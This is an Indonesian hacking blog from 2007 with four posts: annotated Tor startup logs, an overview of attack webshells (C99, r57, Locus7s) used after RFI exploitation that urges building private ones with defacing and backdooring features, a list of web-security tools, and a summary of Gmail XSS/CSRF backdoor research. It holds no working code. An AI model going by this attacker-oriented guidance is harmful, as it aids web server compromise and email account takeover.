Sep 20 23:04:32.160 [info] internal (high-uptime) circ (length 3, exit liquitor): $8CFD0BC987576D41E52DE858246CF5C6B8BE63D1(open) $1C342C43A509749B4C580B78E4318F9BC6EA0E3A(closed) liquitor(closed)
Sep 20 23:04:32.283 [info] circuit_finish_handshake(): Finished building fast circuit hop:
Sep 20 23:04:32.283 [info] exit circ (length 3, exit aquatorius): $3D58B7D5E3C2A011DA7B391B87FCC9BDFBC08F66(open) $40014353EEBC98977A99427242666B439EE7E375(closed) $5BC3A14A5536392B16E0596710DE03173D70656A(closed)
Sep 20 23:04:33.039 [info] circuit_finish_handshake(): Finished building circuit hop:
Sep 20 23:04:33.039 [info] exit circ (length 3, exit aquatorius): $8CFD0BC987576D41E52DE858246CF5C6B8BE63D1(open) $E0FC602A1B38969173D11591E40AA94A83975049(open) $5BC3A14A5536392B16E0596710DE03173D70656A(closed)
Sep 20 23:04:33.527 [info] circuit_finish_handshake(): Finished building circuit hop:
Sep 20 23:04:33.527 [info] internal (high-uptime) circ (length 3, exit liquitor): $8CFD0BC987576D41E52DE858246CF5C6B8BE63D1(open) $1C342C43A509749B4C580B78E4318F9BC6EA0E3A(open) liquitor(closed)
Sep 20 23:04:34.211 [info] circuit_send_next_onion_skin(): First hop: finished sending CREATE_FAST cell to ‘confector’
Sep 20 23:04:34.375 [info] circuit_finish_handshake(): Finished building circuit hop:
Sep 20 23:04:34.375 [info] exit circ (length 3, exit aquatorius): $8CFD0BC987576D41E52DE858246CF5C6B8BE63D1(open) $E0FC602A1B38969173D11591E40AA94A83975049(open) $5BC3A14A5536392B16E0596710DE03173D70656A(open)
Sep 20 23:04:34.375 [info] circuit_send_next_onion_skin(): circuit built!
Sep 20 23:04:34.375 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.
Sep 20 23:04:35.053 [info] circuit_finish_handshake(): Finished building circuit hop:
Sep 20 23:04:35.053 [info] internal (high-uptime) circ (length 3, exit liquitor): $8CFD0BC987576D41E52DE858246CF5C6B8BE63D1(open) $1C342C43A509749B4C580B78E4318F9BC6EA0E3A(open) liquitor(open)
Sep 20 23:04:35.053 [info] circuit_send_next_onion_skin(): circuit built!

Dari cuplikan log, kita dapat meng-analisis apabila terdapat kesalahan konfigurasi dan melakukan troubleshooting berdasarkan error yang didapatkan. Dari cuplikan log tersebut juga lah kita dapat melihat secara langsung apa yang terjadi pada tor.

Sep 20 23:04:27.670 [notice] Tor 0.1.2.15 opening log file.
Sep 20 23:04:27.670 [info] or_state_load(): Loaded state from “/Users/cyberheb/tor/state”
Sep 20 23:04:27.673 [info] crypto_seed_rng(): Seeding RNG from “/dev/urandom”
Sep 20 23:04:28.286 [info] router_load_routers_from_string(): 759 elements to add
Sep 20 23:04:28.634 [info] router_load_routers_from_string(): 461 elements to add

Cuplikan LOG diatas memperlihatkan bahwa tor memiliki kemampuan untuk menyimpan informasi-informasi sebelum nya pada local disk, informasi tersebut berupa server-server yang didapatkan dari direktori server untuk membangun virtual circuit. Informasi ini disimpan sesaat sebelum tor mengakhiri proses nya, dan akan di load saat tor akan memulai kembali servis nya, dengan kemampuan ini maka proses loading tor akan lebih cepat.

Sep 20 23:04:28.858 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “lefkada” at 140.247.60.64:80 (published 2007-09-20 17:41:46)
Sep 20 23:04:28.858 [info] networkstatus_list_update_recent(): Networkstatus from directory server “lefkada” at 140.247.60.64:80 (published 2007-09-20 17:41:46) is now “recent”
Sep 20 23:04:28.882 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “moria2″ at 128.31.0.34:9032 (published 2007-09-20 17:41:31)
Sep 20 23:04:28.882 [info] networkstatus_list_update_recent(): Networkstatus from directory server “moria2″ at 128.31.0.34:9032 (published 2007-09-20 17:41:31) is now “recent”
Sep 20 23:04:28.908 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “dizum” at 194.109.206.212:80 (published 2007-09-20 17:41:31)
Sep 20 23:04:28.908 [info] networkstatus_list_update_recent(): Networkstatus from directory server “dizum” at 194.109.206.212:80 (published 2007-09-20 17:41:31) is now “recent”
Sep 20 23:04:28.933 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “tor26″ at 86.59.21.38:80 (published 2007-09-20 17:43:07)
Sep 20 23:04:28.933 [info] networkstatus_list_update_recent(): Networkstatus from directory server “tor26″ at 86.59.21.38:80 (published 2007-09-20 17:43:07) is now “recent”
Sep 20 23:04:28.958 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “moria1″ at 128.31.0.34:9031 (published 2007-09-20 04:14:58)
Sep 20 23:04:28.958 [info] routerstatus_list_update_from_networkstatus(): Rebuilding router status list.

Pada bagian diatas, Tor mulai mencari direktory server untuk menerima informasi mengenai server-server yang terdaftar pada jaringan tor untuk kemudian dibangun virtual circuit nya

Sep 20 23:04:28.994 [info] entry_guards_compute_status(): Summary: Entry ‘h762626′ is reachable, usable and live.
Sep 20 23:04:28.994 [info] entry_guards_compute_status(): Summary: Entry ‘confector’ is reachable, usable and live.
Sep 20 23:04:28.994 [warn] Please upgrade! This version of Tor (0.1.2.15) is obsolete, according to 3/3 version-listing network statuses. Versions recommended by at least 1 authority are: 0.1.2.17, 0.2.0.6-alpha
Sep 20 23:04:28.999 [notice] We now have enough directory information to build circuits.
Sep 20 23:04:29.008 [info] circuit_predict_and_launch_new(): Have 0 clean circs (0 internal), need another exit circ.
Sep 20 23:04:29.009 [info] choose_good_exit_server_general(): Found 604 servers that might support 0/0 pending connections.
Sep 20 23:04:29.009 [warn] You specified a server “aquatorius” by name, but this name is not registered, so it could be used by any server, not just the one you meant. To make sure you get the same server in the future, refer to it by key, as “$5BC3A14A5536392B16E0596710DE03173D70656A”.
Sep 20 23:04:29.009 [info] choose_good_exit_server_general(): Chose exit server ‘aquatorius’
Sep 20 23:04:29.009 [info] add_an_entry_guard(): Chose ‘piktor’ as new entry guard.
Sep 20 23:04:29.009 [info] log_entry_guards(): h762626 (up made-contact),confector (up made-contact),piktor (up never-contacted)
Sep 20 23:04:29.011 [info] or_state_save(): Saved state to “/Users/cyberheb/tor/state”
Sep 20 23:04:30.011 [info] circuit_predict_and_launch_new(): Have 1 clean circs (0 internal), need another exit circ.
Sep 20 23:04:30.012 [info] choose_good_exit_server_general(): Found 604 servers that might support 0/0 pending connections.
Sep 20 23:04:30.012 [info] choose_good_exit_server_general(): Chose exit server ‘aquatorius’
Sep 20 23:04:31.013 [info] circuit_predict_and_launch_new(): Have 2 clean circs (0 uptime-internal, 0 internal), need another hidserv circ.
Sep 20 23:04:31.461 [info] circuit_send_next_onion_skin(): First hop: finished sending CREATE_FAST cell to ‘piktor’
Sep 20 23:04:31.461 [info] circuit_send_next_onion_skin(): First hop: finished sending CREATE_FAST cell to ‘piktor’
Sep 20 23:04:31.824 [info] circuit_send_next_onion_skin(): First hop: finished sending CREATE_FAST cell to ‘h762626′
Sep 20 23:04:32.020 [info] circuit_predict_and_launch_new(): Have 3 clean circs (1 uptime-internal, 1 internal), need another hidserv circ.
Sep 20 23:04:32.152 [info] circuit_finish_handshake(): Finished building fast circuit hop:

LOG diatas memperlihatkan proses tor memilih virtual circuit yang akan digunakan, ada beberapa yang gagal namun akan dicoba kembali hingga akhir nya berhasil dibuat virtual circuit. Nanti nya, virtual-virtual circuit tersebut akan digunakan untuk melewatkan data dari user hingga ke server tujuan.

Tor juga sering digunakan untuk bypass proxy, atau tunneling. Namun bukan berarti tor tidak dapat di blok, jika kita melihat struktur proses kerja tor diatas, maka untuk administrator dapat melakukan blocking pada direktori server yang digunakan oleh tor (default: moria dan tor26), sehingga pengguna tor tidak dapat mengakses jaringan tor. Terlepas dari apakah bisa di blok atau tidak, tor tetap tools anonymity yang kuat untuk saat ini. Design nya yang dari publik untuk publik merupakan letak kekuatan tor, walaupun design tor-exit-node nya bisa menjadi kelemahan, namun hal tersebut bisa diminimalisasi dengan menggunakan servis yang memanfaatkan enkripsi (mis: SSL) untuk proses authentifikasi, sehingga perjalanan data dari awal hingga akhir selalu terenkripsi. Bagi para pengguna Linux dapat menikmati torK, dengan torK maka segalanya yang berhubungan dengan tor akan semakin mudah dan serba GUI. torK juga akan mempermudah kita melakukan berbagai macam koneksi seperti SSH, telnet, IRC via tor.

Selamat mencoba, untuk hal-hal yang kurang jelas dan ingin didiskusikan kita kembalikan ke media forum ;). Semoga bermanfaat.

October 3, 2007

Webshell

Filed under: Journal, Websecurity — Cyberheb @ 7:25 am

Jadi kamu baru saja jalan-jalan di milw0rm dan membaca tentang suatu hole, katakan lah…RFI (Remote File Inclusion). Jenis hole yang bertebaran di berbagai web advisories dan tampak nya masih belum bisa membuat kebanyakan developer web sadar akan ada nya hole ini sehingga masih terdapat banyak aplikasi web yang rentan terhadap hole RFI. RFI merupakan jenis hole yang paling sering membutuhkan webshell agar hole tersebut dapat dimanfaatkan, walaupun pada kenyataan nya ada cukup banyak hole yang selain RFI yang dapat digunakan untuk kemudian mendapatkan shell dari suatu sistem melalui protokol HTTP.

Wait…shell dari suatu sistem melalui protokol HTTP?! YUP. Tujuan utama dari berbagai macam serangan (sistem/web) umum nya adalah mendapatkan shell target, entah itu ‘direct shell’ ataupun ‘web shell’. Shell merupakan suatu interpreter yang disediakan oleh sistem operasi agar dapat digunakan oleh user untuk berinteraksi dengan sistem tersebut. Contoh simple:

Jasmine:~ cyberheb$ pwd
/Users/cyberheb

banyak sekali yang sering menggunakan shell namun tidak sadar bahwa itu adalah shell. Contoh nya adalah bash pada linux, ataupun command prompt pada M$ Windows. Jenis exploitasi khusus nya yang dilakukan secara remote (remote exploitation) selalu berusaha semaksimal mungkin untuk mendapatkan shell target, tujuan nya jelas agar kita dapat mengendalikan target melalui shell tersebut. Banyak hal yang dapat kita lakukan setelah berhasil mendapatkan shell target.

Untuk serangan yang ditujukan terhadap aplikasi-aplikasi web, umum nya juga berusaha untuk mendapatkan shell target. Walaupun memungkinkan untuk mendapatkan system shell, pada kenyataan nya untuk tahap awal banyak yang menggunakan webshell setelah proses eksploitasi aplikasi web. Shell merupakan interpreter untuk berinteraksi dengan sistem, jenis shell yang memanfaatkan protokol http (web) untuk berinteraksi dengan sistem sering disebut webshell. Karena webshell ini berjalan diatas protokol HTTP, maka webshell membutuhkan suatu webserver. Jika pada sistem shell kita membangkitkan shell melalui aplikasi bash, csh, ksh (UNIX like) ataupun cmd.exe (Windows) maka pada web shell kita membangkitan shell melalui aplikasi .php, .asp, ataupun .jsp. Jenis webshell yang dapat digunakan tergantung pada teknologi target, jika target menggunakan aplikasi php maka kita harus menggunakan tipe phpshell dan jika target menggunakan asp maka kita harus menggunakan tipe aspshell.

Bagaimana cara kita mendapatkan web shell pada target tergantung pada jenis hole yang akan di eksploitasi serta kreativitas si penyerang, untuk RFI misal nya…kita tidak perlu upload webshell tersebut ke server target karena jenis hole ini akan membuat target meng-eksekusi webshell pada mesin lain. Namun untuk jenis hole pada web lain nya, kita dapat membodohi target untuk secara tidak sengaja men-download webshell tersebut dan selanjut nya kita dapat mengeksekusi webshell langsung via browser (http). Ada banyak sekali jenis webshell, baik yang sifat nya private ataupun public. Dan setiap webshell memiliki beberapa fungsi umum (seperti listing isi directory, menampilkan informasi sistem, dll) serta beberapa fungsi khusus (safe-mode bypass, encoder, sql-injection, backdooring, dll). Dan biasa nya, jenis webshell bersifat private merupakan hasil pengembangan dari jenis webshell lain dengan melakukan kustomisasi untuk mendapatkan fungsi lain yang kita inginkan.

Berikut ini adalah beberapa jenis webshell (public/private) yang umum digunakan oleh kalangan underground dalam melakukan serangan tergadap aplikasi-aplikasi web, beberapa jenis webshell dibawah ini merupakan favorite saya secara pribadi karena memiliki cukup banyak fungsionalitas, tentu saja masih banyak lagi jenis webshell dengan kemampuan khusus namun beredar di kalangan tertentu. So, here they are:

    1. C99Shell, C99 merupakan webshell produksi dari CCTeam rusia, C99 memiliki cukup banyak fitur yang terus dikembangkan dan saat ini banyak jenis private webshell menggunakan C99 sebagai template/base nya.
    2. r57, Jenis webshell r57 juga banyak digunakan serta dijadikan base template oleh berbagai jenis private webshell. Kalangan underground di Indonesia umum nya menggunakan webshell r57 ini ;).
    3. Explorer ASP, Webshell diatas merupakan contoh webshell untuk target yang menggunakan teknologi ASP.
    4. Ekin0x, merupakan contoh private shell (seperti nya sekarang sudah public) dari cyber warrior security tim, webshell diatas juga memiliki beberapa fungsi tambahan yang berbeda dari webshell lain.
    5. Locus7s webshell, Contoh webshell diatas merupakan hasil pengembangan dari c100, C100 merupakan webshell rilis baru dari CCTeam (Captain Crunch Team) yang merupakan hasil pengembangan dari C99, kita bisa melihat bahwa webshell tersebut di customize oleh Locus7s team dan ditambahkan beberapa fungsi baru untuk kebutuhan private.

Itu adalah berbagai macam jenis webshell, kita bisa lihat bahwa webshell-webshell tersebut menyediakan fasilitas point-and-click sehingga memudahkan kita untuk meng-eksplorasi sistem target serta menjalankan fungsionalitas lain (seperti backdooring, brute-force, dll). Jenis webshell diatas termasuk webshell modern, namun bagi yang suka dengan webshell classic bisa menggunakan jenis webshell seperti ssh-webshell.

Jika kita mau bersusah payah sedikit untuk mempelajari code-code yang terdapat pada webshell-webshell tersebut, maka kita dapat membuat versi private milik kita ataupun kelompok kita pribadi. Dan juga menambahkan berbagai macam fungsi tambahan yang menurut kita akan sangat berguna. So, lagi-lagi dibutuhkan skill programming…khusus nya pemrograman aplikasi web seperti php dan asp. Selanjut nya, kita dapat menggunakan code-code diatas sebagai template / base untuk mengembangkan webshell milik kita pribadi (fungsi blind sql-injection, mass-defacing, scanner, dll bisa ditambahkan sendiri). Untuk jenis webshell yang lebih lengkap bisa mencoba webkit dari open-labs.

Haph phun!

October 1, 2007

Eno7’s WebTools

Filed under: News, Tips 'n Trick, Tools Review, Websecurity — Cyberheb @ 5:22 am

Saya sering bermain-main dengan online tools yang disediakan oleh Eno7, tools-tools tersebut sangat berguna dalam hal websecurity, untuk yang biasa bermain di websecurity bisa mencoba tools online yang disediakan oleh mereka. Berikut macam-macam tools nya:

1. MD5 Hash Generator
2. Online Security Scan
3. Character Encoding
4. Meta Tag Generator
5. HTML Kod Encryption and HTML Kod Decryption
6. XSS Attack Database
7. Site Explorer Spider
8. Top Viruses Map
9. Password Generator
10. Whois Check
11. All Encryptions

Haph phun ;).

GoogH0le

Filed under: Eksploit, News, Websecurity — Cyberheb @ 4:42 am

Semakin menakutkan saja aktivitas dari para researcher web security, saat ini mereka mulai membuktikan bahwa jenis serangan XSS bukan hal yang sepele. Mereka berhasil membuktikan bahwa XSS mampu meng-eksploitasi aplikasi-aplikasi google, bagi yang berminat untuk mengetahui lebih jauh bisa membaca pada blog nya Giorgio Maone di sini. Dari link tersebut kita juga dapat mencoba POC untuk eksploitasi google, namun seperti nya sekarang ini sudah di blok oleh google dan diganti dengan halaman lain :(.

Disamping jenis hole yang dijelaskan oleh Giorgio Maone pada blog nya, bagian lain dari kelompok GNUCITIZEN juga ikut meramaikan proses eksploitasi pada GMail dengan memanfaatkan hole CSRF (Cross-Site Request Forgery), hole ini dapat digunakan untuk menanam ‘backdoor’ pada account GMail target pada bagian filtering email, dimana hasil nya semua email atau email-email dengan kriteria tertentu yang di tujukan pada target akan di forward ke email penyerang, trik nya sederhana tapi sangat cerdik. Tepat seperti yang disebutkan pada blog tersebut, tidak dibutuhkan untuk pwned box target…dengan melakukan pwned pada mailbox nya maka bisa jauh lebih menakutkan hasil nya (full-disclose dari informasi pribadi, login/password bankin, login/password hosting, dll).

Backdooring pada pada GMail ini diceritakan secara singkat pada blog nya eno7. Oh ya, Firefox with Noscript is still our friend to avoid this ;).

Blog By You-Know-What